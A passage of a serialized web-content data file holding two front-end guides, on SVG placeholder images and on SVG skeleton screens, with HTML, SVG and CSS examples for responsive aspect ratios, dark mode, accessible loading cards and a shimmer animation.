:width",[1560,197381,7297],{"class":1570},[1560,197383,197384],{"class":5634},"\"width\"",[1560,197386,197387],{"class":1566}," :height",[1560,197389,7297],{"class":1570},[1560,197391,197392],{"class":5634},"\"height\"",[1560,197394,12261],{"class":1566},[1560,197396,7297],{"class":1570},[1560,197398,12266],{"class":5634},[1560,197400,95993],{"class":1566},[1560,197402,7297],{"class":1570},[1560,197404,95998],{"class":5634},[1560,197406,197407],{"class":1566}," :aria-label",[1560,197409,7297],{"class":1570},[1560,197411,197412],{"class":5634},"\"`Placeholder: ${label}`\"",[1560,197414,6441],{"class":1570},[1560,197416,197417,197419,197421,197423,197425,197427,197429,197431,197433,197436,197438,197441],{"class":1562,"line":11633},[1560,197418,12292],{"class":1570},[1560,197420,155513],{"class":2484},[1560,197422,10649],{"class":1566},[1560,197424,7297],{"class":1570},[1560,197426,147826],{"class":5634},[1560,197428,10657],{"class":1566},[1560,197430,7297],{"class":1570},[1560,197432,147826],{"class":5634},[1560,197434,197435],{"class":1566}," :fill",[1560,197437,7297],{"class":1570},[1560,197439,197440],{"class":5634},"\"bgColor\"",[1560,197442,124341],{"class":1570},[1560,197444,197445,197447,197449,197451,197453,197455,197457,197459,197461,197463,197465,197467,197469,197471],{"class":1562,"line":11638},[1560,197446,12292],{"class":1570},[1560,197448,140],{"class":2484},[1560,197450,155543],{"class":1566},[1560,197452,7297],{"class":1570},[1560,197454,155548],{"class":5634},[1560,197456,155551],{"class":1566},[1560,197458,7297],{"class":1570},[1560,197460,155548],{"class":5634},[1560,197462,196861],{"class":1566},[1560,197464,7297],{"class":1570},[1560,197466,196866],{"class":5634},[1560,197468,155558],{"class":1566},[1560,197470,7297],{"class":1570},[1560,197472,155563],{"class":5634},[1560,197474,197475,197477,197479,197481,197484,197486,197489,197491,197493,197496],{"class":1562,"line":11672},[1560,197476,196877],{"class":1566},[1560,197478,7297],{"class":1570},[1560,197480,155582],{"class":5634},[1560,197482,197483],{"class":1566}," :font-size",[1560,197485,7297],{"class":1570},[1560,197487,197488],{"class":5634},"\"Math.min(width, height) \u002F 12\"",[1560,197490,197435],{"class":1566},[1560,197492,7297],{"class":1570},[1560,197494,197495],{"class":5634},"\"textColor\"",[1560,197497,6441],{"class":1570},[1560,197499,197500],{"class":1562,"line":19435},[1560,197501,197502],{"class":1570},"      {{ label }}\n",[1560,197504,197505,197507,197509],{"class":1562,"line":19442},[1560,197506,124461],{"class":1570},[1560,197508,140],{"class":2484},[1560,197510,6441],{"class":1570},[1560,197512,197513,197515,197517],{"class":1562,"line":19475},[1560,197514,12331],{"class":1570},[1560,197516,11192],{"class":2484},[1560,197518,6441],{"class":1570},[1560,197520,197521,197523,197525],{"class":1562,"line":19508},[1560,197522,11242],{"class":1570},[1560,197524,17455],{"class":2484},[1560,197526,6441],{"class":1570},[11,197528,197530],{"id":197529},"responsive-placeholder-patterns","Responsive Placeholder Patterns",[16,197532,197533,197534,197537],{},"Fixed-dimension placeholders break in responsive layouts because they do not adapt to container width. Use ",[143,197535,197536],{},"viewBox"," instead of fixed width\u002Fheight:",[135,197539,197541],{"className":6417,"code":197540,"language":6419,"meta":141,"style":141},"\u003Csvg viewBox=\"0 0 16 9\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" style=\"width: 100%; height: auto;\">\n  \u003Crect width=\"100%\" height=\"100%\" fill=\"#E2E8F0\"\u002F>\n  \u003Ctext x=\"50%\" y=\"50%\" dominant-baseline=\"middle\" text-anchor=\"middle\"\n        font-size=\"1\" fill=\"#94A3B8\">\n    16:9\n  \u003C\u002Ftext>\n\u003C\u002Fsvg>\n",[143,197542,197543,197571,197597,197627,197644,197649,197657],{"__ignoreMap":141},[1560,197544,197545,197547,197549,197551,197553,197556,197558,197560,197562,197564,197566,197569],{"class":1562,"line":1563},[1560,197546,6431],{"class":1570},[1560,197548,11192],{"class":2484},[1560,197550,11195],{"class":1566},[1560,197552,7297],{"class":1570},[1560,197554,197555],{"class":5634},"\"0 0 16 9\"",[1560,197557,12261],{"class":1566},[1560,197559,7297],{"class":1570},[1560,197561,12266],{"class":5634},[1560,197563,11449],{"class":1566},[1560,197565,7297],{"class":1570},[1560,197567,197568],{"class":5634},"\"width: 100%; height: auto;\"",[1560,197570,6441],{"class":1570},[1560,197572,197573,197575,197577,197579,197581,197583,197585,197587,197589,197591,197593,197595],{"class":1562,"line":337},[1560,197574,11223],{"class":1570},[1560,197576,155513],{"class":2484},[1560,197578,10649],{"class":1566},[1560,197580,7297],{"class":1570},[1560,197582,147826],{"class":5634},[1560,197584,10657],{"class":1566},[1560,197586,7297],{"class":1570},[1560,197588,147826],{"class":5634},[1560,197590,11203],{"class":1566},[1560,197592,7297],{"class":1570},[1560,197594,169231],{"class":5634},[1560,197596,11237],{"class":1570},[1560,197598,197599,197601,197603,197605,197607,197609,197611,197613,197615,197617,197619,197621,197623,197625],{"class":1562,"line":343},[1560,197600,11223],{"class":1570},[1560,197602,140],{"class":2484},[1560,197604,155543],{"class":1566},[1560,197606,7297],{"class":1570},[1560,197608,155548],{"class":5634},[1560,197610,155551],{"class":1566},[1560,197612,7297],{"class":1570},[1560,197614,155548],{"class":5634},[1560,197616,196861],{"class":1566},[1560,197618,7297],{"class":1570},[1560,197620,196866],{"class":5634},[1560,197622,155558],{"class":1566},[1560,197624,7297],{"class":1570},[1560,197626,155563],{"class":5634},[1560,197628,197629,197632,197634,197636,197638,197640,197642],{"class":1562,"line":365},[1560,197630,197631],{"class":1566},"        font-size",[1560,197633,7297],{"class":1570},[1560,197635,130461],{"class":5634},[1560,197637,11203],{"class":1566},[1560,197639,7297],{"class":1570},[1560,197641,196894],{"class":5634},[1560,197643,6441],{"class":1570},[1560,197645,197646],{"class":1562,"line":889},[1560,197647,197648],{"class":1570},"    16:9\n",[1560,197650,197651,197653,197655],{"class":1562,"line":1710},[1560,197652,12331],{"class":1570},[1560,197654,140],{"class":2484},[1560,197656,6441],{"class":1570},[1560,197658,197659,197661,197663],{"class":1562,"line":1717},[1560,197660,11242],{"class":1570},[1560,197662,11192],{"class":2484},[1560,197664,6441],{"class":1570},[16,197666,421,197667,197670,197671,197674],{},[143,197668,197669],{},"viewBox=\"0 0 16 9\""," defines the aspect ratio. The ",[143,197672,197673],{},"width: 100%"," CSS stretches the SVG to fill the container while maintaining proportions. Common aspect ratios:",[193,197676,197677,197688],{},[196,197678,197679],{},[199,197680,197681,197684,197686],{},[202,197682,197683],{},"Ratio",[202,197685,197536],{},[202,197687,1775],{},[211,197689,197690,197702,197714,197726,197738],{},[199,197691,197692,197694,197699],{},[216,197693,168276],{},[216,197695,197696],{},[143,197697,197698],{},"0 0 16 9",[216,197700,197701],{},"Hero images, video thumbnails",[199,197703,197704,197706,197711],{},[216,197705,168287],{},[216,197707,197708],{},[143,197709,197710],{},"0 0 4 3",[216,197712,197713],{},"Traditional photos",[199,197715,197716,197718,197723],{},[216,197717,3986],{},[216,197719,197720],{},[143,197721,197722],{},"0 0 1 1",[216,197724,197725],{},"Profile avatars, product shots",[199,197727,197728,197730,197735],{},[216,197729,14330],{},[216,197731,197732],{},[143,197733,197734],{},"0 0 3 2",[216,197736,197737],{},"DSLR-style photos",[199,197739,197740,197742,197747],{},[216,197741,169619],{},[216,197743,197744],{},[143,197745,197746],{},"0 0 21 9",[216,197748,197749],{},"Cinematic banners",[11,197751,197753],{"id":197752},"dark-mode-support","Dark Mode Support",[16,197755,197756,197757,8037],{},"SVG placeholders can adapt to the user's color preference using CSS ",[143,197758,169423],{},[135,197760,197762],{"className":1554,"code":197761,"language":1556,"meta":141,"style":141},".placeholder-svg rect {\n  fill: #E2E8F0;\n}\n\n@media (prefers-color-scheme: dark) {\n  .placeholder-svg rect {\n    fill: #1E293B;\n  }\n  .placeholder-svg text {\n    fill: #64748B;\n  }\n}\n",[143,197763,197764,197774,197784,197788,197792,197798,197807,197818,197822,197830,197840,197844],{"__ignoreMap":141},[1560,197765,197766,197769,197772],{"class":1562,"line":1563},[1560,197767,197768],{"class":1566},".placeholder-svg",[1560,197770,197771],{"class":2484}," rect",[1560,197773,1571],{"class":1570},[1560,197775,197776,197778,197780,197782],{"class":1562,"line":337},[1560,197777,12646],{"class":1576},[1560,197779,1663],{"class":1570},[1560,197781,55825],{"class":1576},[1560,197783,2228],{"class":1570},[1560,197785,197786],{"class":1562,"line":343},[1560,197787,1585],{"class":1570},[1560,197789,197790],{"class":1562,"line":365},[1560,197791,1702],{"emptyLinePlaceholder":363},[1560,197793,197794,197796],{"class":1562,"line":889},[1560,197795,17186],{"class":1669},[1560,197797,20188],{"class":1570},[1560,197799,197800,197803,197805],{"class":1562,"line":1710},[1560,197801,197802],{"class":1566},"  .placeholder-svg",[1560,197804,197771],{"class":2484},[1560,197806,1571],{"class":1570},[1560,197808,197809,197812,197814,197816],{"class":1562,"line":1717},[1560,197810,197811],{"class":1576},"    fill",[1560,197813,1663],{"class":1570},[1560,197815,2315],{"class":1576},[1560,197817,2228],{"class":1570},[1560,197819,197820],{"class":1562,"line":1747},[1560,197821,4959],{"class":1570},[1560,197823,197824,197826,197828],{"class":1562,"line":2507},[1560,197825,197802],{"class":1566},[1560,197827,87414],{"class":2484},[1560,197829,1571],{"class":1570},[1560,197831,197832,197834,197836,197838],{"class":1562,"line":2524},[1560,197833,197811],{"class":1576},[1560,197835,1663],{"class":1570},[1560,197837,30767],{"class":1576},[1560,197839,2228],{"class":1570},[1560,197841,197842],{"class":1562,"line":2529},[1560,197843,4959],{"class":1570},[1560,197845,197846],{"class":1562,"line":2534},[1560,197847,1585],{"class":1570},[16,197849,197850,197851,197853,197854,9368],{},"This works with inline SVG but not with data URIs in ",[143,197852,10900],{}," tags (CSS cannot target inside an ",[143,197855,10900],{},[11,197857,197859],{"id":197858},"when-to-switch-to-real-images","When to Switch to Real Images",[16,197861,197862],{},"SVG placeholders are for development and prototyping. Replace them with real images before production:",[77,197864,197865,197871,197879],{},[44,197866,197867,197870],{},[47,197868,197869],{},"Content CMS",": If images come from a CMS, the CMS URL replaces the SVG data URI naturally.",[44,197872,197873,3814,197876,197878],{},[47,197874,197875],{},"Lazy loading",[143,197877,13179],{}," to production images for performance.",[44,197880,197881,197884,197885,197887],{},[47,197882,197883],{},"Blurred placeholder",": Use a tiny, blurred version of the real image as a ",[143,197886,12578],{}," while the full image loads — LQIP (Low Quality Image Placeholder) technique.",[11,197889,1355],{"id":1354},[41,197891,197892,197895,197900,197905,197910],{},[44,197893,197894],{},"SVG placeholders load instantly, scale perfectly, and work offline — ideal for development",[44,197896,197897,197898,124277],{},"Inline SVG gives CSS control; data URIs work in ",[143,197899,10900],{},[44,197901,1388,197902,197904],{},[143,197903,197536],{}," for responsive placeholders that maintain aspect ratio",[44,197906,197907,197908,1525],{},"Dark mode support requires inline SVG (CSS cannot target inside ",[143,197909,10900],{},[44,197911,197912],{},"Replace SVG placeholders with real images or LQIP patterns before production",[11,197914,286],{"id":285},[16,197916,197917,197918,197920],{},"Generate placeholder images with custom sizes, colors, and text using our ",[98,197919,93567],{"href":93580},". Supports both raster and SVG output formats.",[11,197922,321],{"id":320},[41,197924,197925,197930],{},[44,197926,197927,197929],{},[98,197928,169484],{"href":93739}," — when and how to use dummy images",[44,197931,197932,197935],{},[98,197933,197934],{"href":93745},"Mockup Image Best Practices"," — choosing the right placeholder for your design workflow",[2043,197937,197938],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":197940},[197941,197942,197943,197946,197947,197948,197949,197950,197951,197952],{"id":196683,"depth":337,"text":196684},{"id":196764,"depth":337,"text":196765},{"id":196931,"depth":337,"text":196932,"children":197944},[197945],{"id":196994,"depth":343,"text":196995},{"id":197181,"depth":337,"text":197182},{"id":197529,"depth":337,"text":197530},{"id":197752,"depth":337,"text":197753},{"id":197858,"depth":337,"text":197859},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn why SVG placeholder images outperform raster alternatives during development. Covers inline SVG, data URIs, and responsive placeholder patterns.",{"keywords":197955,"immutable":363},[93777,197956],"svg-placeholder-images-development","\u002Fguides\u002Fsvg-placeholder-images-development",{"title":196678,"description":197953},"guides\u002Fsvg-placeholder-images-development","D8OOXtGqJob9yBSyaLCHFORWiM3h7U0cSk8POxkIZvI",{"id":197962,"title":197963,"body":197964,"date":2070,"description":199335,"extension":361,"meta":199336,"navigation":363,"path":199337,"readingTime":1710,"seo":199338,"stem":199339,"__hash__":199340},"guides\u002Fguides\u002Fsvg-placeholder-skeleton-screens.md","SVG Placeholders and Skeleton Screens",{"type":8,"value":197965,"toc":199328},[197966,197969,197973,198051,198054,198058,198061,198483,198495,198499,198502,198747,198750,198973,198976,198980,198986,199033,199039,199042,199046,199049,199174,199316,199319,199325],[16,197967,197968],{},"A blank screen while data loads feels slow. A skeleton screen — the gray placeholder shapes that mimic the layout of incoming content — makes the same wait feel faster because users see immediate visual progress. SVG is the ideal format for these placeholders: it is resolution-independent, tiny in file size, and animatable with pure CSS. This guide covers building effective skeleton screens with SVG components.",[11,197970,197972],{"id":197971},"why-svg-beats-other-placeholder-formats","Why SVG Beats Other Placeholder Formats",[193,197974,197975,197992],{},[196,197976,197977],{},[199,197978,197979,197981,197984,197987,197990],{},[202,197980,13018],{},[202,197982,197983],{},"File Size (typical card)",[202,197985,197986],{},"Resolution Independence",[202,197988,197989],{},"Animatable",[202,197991,837],{},[211,197993,197994,198008,198022,198036],{},[199,197995,197996,197998,198001,198003,198005],{},[216,197997,167913],{},[216,197999,198000],{},"5–20 KB",[216,198002,6117],{},[216,198004,6117],{},[216,198006,198007],{},"Decorative alt",[199,198009,198010,198013,198016,198018,198020],{},[216,198011,198012],{},"Base64 CSS",[216,198014,198015],{},"2–8 KB",[216,198017,6117],{},[216,198019,6117],{},[216,198021,198007],{},[199,198023,198024,198027,198030,198032,198034],{},[216,198025,198026],{},"CSS gradients",[216,198028,198029],{},"~200 B",[216,198031,3057],{},[216,198033,84702],{},[216,198035,94536],{},[199,198037,198038,198041,198044,198046,198048],{},[216,198039,198040],{},"SVG inline",[216,198042,198043],{},"~300 B",[216,198045,3057],{},[216,198047,3057],{},[216,198049,198050],{},"Full ARIA",[16,198052,198053],{},"SVG wins because it combines the visual precision of a real image layout with the file size of a few CSS properties. A card skeleton with avatar, title, and description lines is roughly 300 bytes as inline SVG versus several kilobytes for any raster approach.",[11,198055,198057],{"id":198056},"building-a-card-skeleton","Building a Card Skeleton",[16,198059,198060],{},"Here is a complete skeleton screen for a content card with an avatar, heading, and two lines of body text:",[135,198062,198064],{"className":6417,"code":198063,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"skeleton-card\" role=\"status\" aria-label=\"Loading content\">\n  \u003Csvg\n    viewBox=\"0 0 400 200\"\n    xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\"\n    aria-hidden=\"true\"\n    class=\"skeleton-svg\"\n  >\n    \u003C!-- Avatar circle -->\n    \u003Ccircle cx=\"40\" cy=\"40\" r=\"24\" fill=\"#e0e0e0\" rx=\"4\" \u002F>\n\n    \u003C!-- Title line -->\n    \u003Crect x=\"76\" y=\"24\" width=\"200\" height=\"14\" rx=\"4\" fill=\"#e0e0e0\" \u002F>\n\n    \u003C!-- Subtitle line -->\n    \u003Crect x=\"76\" y=\"46\" width=\"140\" height=\"10\" rx=\"3\" fill=\"#e0e0e0\" \u002F>\n\n    \u003C!-- Body line 1 -->\n    \u003Crect x=\"16\" y=\"88\" width=\"368\" height=\"10\" rx=\"3\" fill=\"#e0e0e0\" \u002F>\n\n    \u003C!-- Body line 2 -->\n    \u003Crect x=\"16\" y=\"108\" width=\"280\" height=\"10\" rx=\"3\" fill=\"#e0e0e0\" \u002F>\n\n    \u003C!-- Image placeholder -->\n    \u003Crect x=\"16\" y=\"136\" width=\"368\" height=\"48\" rx=\"6\" fill=\"#e0e0e0\" \u002F>\n  \u003C\u002Fsvg>\n\u003C\u002Fdiv>\n",[143,198065,198066,198095,198102,198112,198122,198132,198142,198146,198151,198192,198196,198201,198246,198250,198255,198301,198305,198310,198356,198360,198365,198411,198415,198420,198467,198475],{"__ignoreMap":141},[1560,198067,198068,198070,198072,198074,198076,198079,198081,198083,198086,198088,198090,198093],{"class":1562,"line":1563},[1560,198069,6431],{"class":1570},[1560,198071,7291],{"class":2484},[1560,198073,11423],{"class":1566},[1560,198075,7297],{"class":1570},[1560,198077,198078],{"class":5634},"\"skeleton-card\"",[1560,198080,95993],{"class":1566},[1560,198082,7297],{"class":1570},[1560,198084,198085],{"class":5634},"\"status\"",[1560,198087,96001],{"class":1566},[1560,198089,7297],{"class":1570},[1560,198091,198092],{"class":5634},"\"Loading content\"",[1560,198094,6441],{"class":1570},[1560,198096,198097,198099],{"class":1562,"line":337},[1560,198098,11223],{"class":1570},[1560,198100,198101],{"class":2484},"svg\n",[1560,198103,198104,198107,198109],{"class":1562,"line":343},[1560,198105,198106],{"class":1566},"    viewBox",[1560,198108,7297],{"class":1570},[1560,198110,198111],{"class":5634},"\"0 0 400 200\"\n",[1560,198113,198114,198117,198119],{"class":1562,"line":365},[1560,198115,198116],{"class":1566},"    xmlns",[1560,198118,7297],{"class":1570},[1560,198120,198121],{"class":5634},"\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\"\n",[1560,198123,198124,198127,198129],{"class":1562,"line":889},[1560,198125,198126],{"class":1566},"    aria-hidden",[1560,198128,7297],{"class":1570},[1560,198130,198131],{"class":5634},"\"true\"\n",[1560,198133,198134,198137,198139],{"class":1562,"line":1710},[1560,198135,198136],{"class":1566},"    class",[1560,198138,7297],{"class":1570},[1560,198140,198141],{"class":5634},"\"skeleton-svg\"\n",[1560,198143,198144],{"class":1562,"line":1717},[1560,198145,169803],{"class":1570},[1560,198147,198148],{"class":1562,"line":1747},[1560,198149,198150],{"class":1649},"    \u003C!-- Avatar circle -->\n",[1560,198152,198153,198155,198157,198159,198161,198163,198165,198167,198169,198171,198173,198175,198177,198179,198182,198185,198187,198190],{"class":1562,"line":2507},[1560,198154,12292],{"class":1570},[1560,198156,12295],{"class":2484},[1560,198158,12298],{"class":1566},[1560,198160,7297],{"class":1570},[1560,198162,130522],{"class":5634},[1560,198164,12306],{"class":1566},[1560,198166,7297],{"class":1570},[1560,198168,130522],{"class":5634},[1560,198170,12313],{"class":1566},[1560,198172,7297],{"class":1570},[1560,198174,168573],{"class":5634},[1560,198176,11203],{"class":1566},[1560,198178,7297],{"class":1570},[1560,198180,198181],{"class":5634},"\"#e0e0e0\"",[1560,198183,198184],{"class":1566}," rx",[1560,198186,7297],{"class":1570},[1560,198188,198189],{"class":5634},"\"4\"",[1560,198191,124341],{"class":1570},[1560,198193,198194],{"class":1562,"line":2524},[1560,198195,1702],{"emptyLinePlaceholder":363},[1560,198197,198198],{"class":1562,"line":2529},[1560,198199,198200],{"class":1649},"    \u003C!-- Title line -->\n",[1560,198202,198203,198205,198207,198209,198211,198214,198216,198218,198220,198222,198224,198226,198228,198230,198232,198234,198236,198238,198240,198242,198244],{"class":1562,"line":2534},[1560,198204,12292],{"class":1570},[1560,198206,155513],{"class":2484},[1560,198208,155543],{"class":1566},[1560,198210,7297],{"class":1570},[1560,198212,198213],{"class":5634},"\"76\"",[1560,198215,155551],{"class":1566},[1560,198217,7297],{"class":1570},[1560,198219,168573],{"class":5634},[1560,198221,10649],{"class":1566},[1560,198223,7297],{"class":1570},[1560,198225,10662],{"class":5634},[1560,198227,10657],{"class":1566},[1560,198229,7297],{"class":1570},[1560,198231,156157],{"class":5634},[1560,198233,198184],{"class":1566},[1560,198235,7297],{"class":1570},[1560,198237,198189],{"class":5634},[1560,198239,11203],{"class":1566},[1560,198241,7297],{"class":1570},[1560,198243,198181],{"class":5634},[1560,198245,124341],{"class":1570},[1560,198247,198248],{"class":1562,"line":2542},[1560,198249,1702],{"emptyLinePlaceholder":363},[1560,198251,198252],{"class":1562,"line":2558},[1560,198253,198254],{"class":1649},"    \u003C!-- Subtitle line -->\n",[1560,198256,198257,198259,198261,198263,198265,198267,198269,198271,198274,198276,198278,198281,198283,198285,198287,198289,198291,198293,198295,198297,198299],{"class":1562,"line":2570},[1560,198258,12292],{"class":1570},[1560,198260,155513],{"class":2484},[1560,198262,155543],{"class":1566},[1560,198264,7297],{"class":1570},[1560,198266,198213],{"class":5634},[1560,198268,155551],{"class":1566},[1560,198270,7297],{"class":1570},[1560,198272,198273],{"class":5634},"\"46\"",[1560,198275,10649],{"class":1566},[1560,198277,7297],{"class":1570},[1560,198279,198280],{"class":5634},"\"140\"",[1560,198282,10657],{"class":1566},[1560,198284,7297],{"class":1570},[1560,198286,12318],{"class":5634},[1560,198288,198184],{"class":1566},[1560,198290,7297],{"class":1570},[1560,198292,125223],{"class":5634},[1560,198294,11203],{"class":1566},[1560,198296,7297],{"class":1570},[1560,198298,198181],{"class":5634},[1560,198300,124341],{"class":1570},[1560,198302,198303],{"class":1562,"line":6638},[1560,198304,1702],{"emptyLinePlaceholder":363},[1560,198306,198307],{"class":1562,"line":11615},[1560,198308,198309],{"class":1649},"    \u003C!-- Body line 1 -->\n",[1560,198311,198312,198314,198316,198318,198320,198322,198324,198326,198329,198331,198333,198336,198338,198340,198342,198344,198346,198348,198350,198352,198354],{"class":1562,"line":11621},[1560,198313,12292],{"class":1570},[1560,198315,155513],{"class":2484},[1560,198317,155543],{"class":1566},[1560,198319,7297],{"class":1570},[1560,198321,12901],{"class":5634},[1560,198323,155551],{"class":1566},[1560,198325,7297],{"class":1570},[1560,198327,198328],{"class":5634},"\"88\"",[1560,198330,10649],{"class":1566},[1560,198332,7297],{"class":1570},[1560,198334,198335],{"class":5634},"\"368\"",[1560,198337,10657],{"class":1566},[1560,198339,7297],{"class":1570},[1560,198341,12318],{"class":5634},[1560,198343,198184],{"class":1566},[1560,198345,7297],{"class":1570},[1560,198347,125223],{"class":5634},[1560,198349,11203],{"class":1566},[1560,198351,7297],{"class":1570},[1560,198353,198181],{"class":5634},[1560,198355,124341],{"class":1570},[1560,198357,198358],{"class":1562,"line":11633},[1560,198359,1702],{"emptyLinePlaceholder":363},[1560,198361,198362],{"class":1562,"line":11638},[1560,198363,198364],{"class":1649},"    \u003C!-- Body line 2 -->\n",[1560,198366,198367,198369,198371,198373,198375,198377,198379,198381,198384,198386,198388,198391,198393,198395,198397,198399,198401,198403,198405,198407,198409],{"class":1562,"line":11672},[1560,198368,12292],{"class":1570},[1560,198370,155513],{"class":2484},[1560,198372,155543],{"class":1566},[1560,198374,7297],{"class":1570},[1560,198376,12901],{"class":5634},[1560,198378,155551],{"class":1566},[1560,198380,7297],{"class":1570},[1560,198382,198383],{"class":5634},"\"108\"",[1560,198385,10649],{"class":1566},[1560,198387,7297],{"class":1570},[1560,198389,198390],{"class":5634},"\"280\"",[1560,198392,10657],{"class":1566},[1560,198394,7297],{"class":1570},[1560,198396,12318],{"class":5634},[1560,198398,198184],{"class":1566},[1560,198400,7297],{"class":1570},[1560,198402,125223],{"class":5634},[1560,198404,11203],{"class":1566},[1560,198406,7297],{"class":1570},[1560,198408,198181],{"class":5634},[1560,198410,124341],{"class":1570},[1560,198412,198413],{"class":1562,"line":19435},[1560,198414,1702],{"emptyLinePlaceholder":363},[1560,198416,198417],{"class":1562,"line":19442},[1560,198418,198419],{"class":1649},"    \u003C!-- Image placeholder -->\n",[1560,198421,198422,198424,198426,198428,198430,198432,198434,198436,198439,198441,198443,198445,198447,198449,198452,198454,198456,198459,198461,198463,198465],{"class":1562,"line":19475},[1560,198423,12292],{"class":1570},[1560,198425,155513],{"class":2484},[1560,198427,155543],{"class":1566},[1560,198429,7297],{"class":1570},[1560,198431,12901],{"class":5634},[1560,198433,155551],{"class":1566},[1560,198435,7297],{"class":1570},[1560,198437,198438],{"class":5634},"\"136\"",[1560,198440,10649],{"class":1566},[1560,198442,7297],{"class":1570},[1560,198444,198335],{"class":5634},[1560,198446,10657],{"class":1566},[1560,198448,7297],{"class":1570},[1560,198450,198451],{"class":5634},"\"48\"",[1560,198453,198184],{"class":1566},[1560,198455,7297],{"class":1570},[1560,198457,198458],{"class":5634},"\"6\"",[1560,198460,11203],{"class":1566},[1560,198462,7297],{"class":1570},[1560,198464,198181],{"class":5634},[1560,198466,124341],{"class":1570},[1560,198468,198469,198471,198473],{"class":1562,"line":19508},[1560,198470,12331],{"class":1570},[1560,198472,11192],{"class":2484},[1560,198474,6441],{"class":1570},[1560,198476,198477,198479,198481],{"class":1562,"line":44196},[1560,198478,11242],{"class":1570},[1560,198480,7291],{"class":2484},[1560,198482,6441],{"class":1570},[16,198484,198485,198486,1856,198489,198491,198492,198494],{},"Notice the ",[143,198487,198488],{},"role=\"status\"",[143,198490,96068],{}," on the wrapper. Screen readers announce \"Loading content\" instead of ignoring the skeleton entirely. The SVG itself uses ",[143,198493,76320],{}," because its visual elements are decorative — the meaningful information is in the wrapper's ARIA attributes.",[11,198496,198498],{"id":198497},"adding-the-shimmer-animation","Adding the Shimmer Animation",[16,198500,198501],{},"The pulsing shimmer effect — the signature visual of skeleton screens — is a simple CSS gradient animation applied to the SVG shapes:",[135,198503,198505],{"className":1554,"code":198504,"language":1556,"meta":141,"style":141},".skeleton-card {\n  --shimmer-color: #e0e0e0;\n  --shimmer-highlight: #f5f5f5;\n  --shimmer-speed: 1.5s;\n}\n\n.skeleton-svg rect,\n.skeleton-svg circle {\n  animation: shimmer var(--shimmer-speed) ease-in-out infinite;\n}\n\n@keyframes shimmer {\n  0% { fill: var(--shimmer-color); }\n  50% { fill: var(--shimmer-highlight); }\n  80% { fill: var(--shimmer-color); }\n  100% { fill: var(--shimmer-color); }\n}\n\n\u002F* Dark mode support *\u002F\n@media (prefers-color-scheme: dark) {\n  .skeleton-card {\n    --shimmer-color: #333333;\n    --shimmer-highlight: #555555;\n  }\n}\n",[143,198506,198507,198514,198525,198536,198549,198553,198557,198566,198574,198597,198601,198605,198614,198633,198652,198671,198689,198693,198697,198702,198708,198715,198727,198739,198743],{"__ignoreMap":141},[1560,198508,198509,198512],{"class":1562,"line":1563},[1560,198510,198511],{"class":1566},".skeleton-card",[1560,198513,1571],{"class":1570},[1560,198515,198516,198519,198521,198523],{"class":1562,"line":337},[1560,198517,198518],{"class":2219},"  --shimmer-color",[1560,198520,1663],{"class":1570},[1560,198522,70454],{"class":1576},[1560,198524,2228],{"class":1570},[1560,198526,198527,198530,198532,198534],{"class":1562,"line":343},[1560,198528,198529],{"class":2219},"  --shimmer-highlight",[1560,198531,1663],{"class":1570},[1560,198533,149836],{"class":1576},[1560,198535,2228],{"class":1570},[1560,198537,198538,198541,198543,198545,198547],{"class":1562,"line":365},[1560,198539,198540],{"class":2219},"  --shimmer-speed",[1560,198542,1663],{"class":1570},[1560,198544,18515],{"class":1576},[1560,198546,18727],{"class":1669},[1560,198548,2228],{"class":1570},[1560,198550,198551],{"class":1562,"line":889},[1560,198552,1585],{"class":1570},[1560,198554,198555],{"class":1562,"line":1710},[1560,198556,1702],{"emptyLinePlaceholder":363},[1560,198558,198559,198562,198564],{"class":1562,"line":1717},[1560,198560,198561],{"class":1566},".skeleton-svg",[1560,198563,197771],{"class":2484},[1560,198565,11943],{"class":1570},[1560,198567,198568,198570,198572],{"class":1562,"line":1747},[1560,198569,198561],{"class":1566},[1560,198571,12639],{"class":2484},[1560,198573,1571],{"class":1570},[1560,198575,198576,198578,198581,198583,198585,198588,198590,198593,198595],{"class":1562,"line":2507},[1560,198577,20083],{"class":1576},[1560,198579,198580],{"class":1570},": shimmer 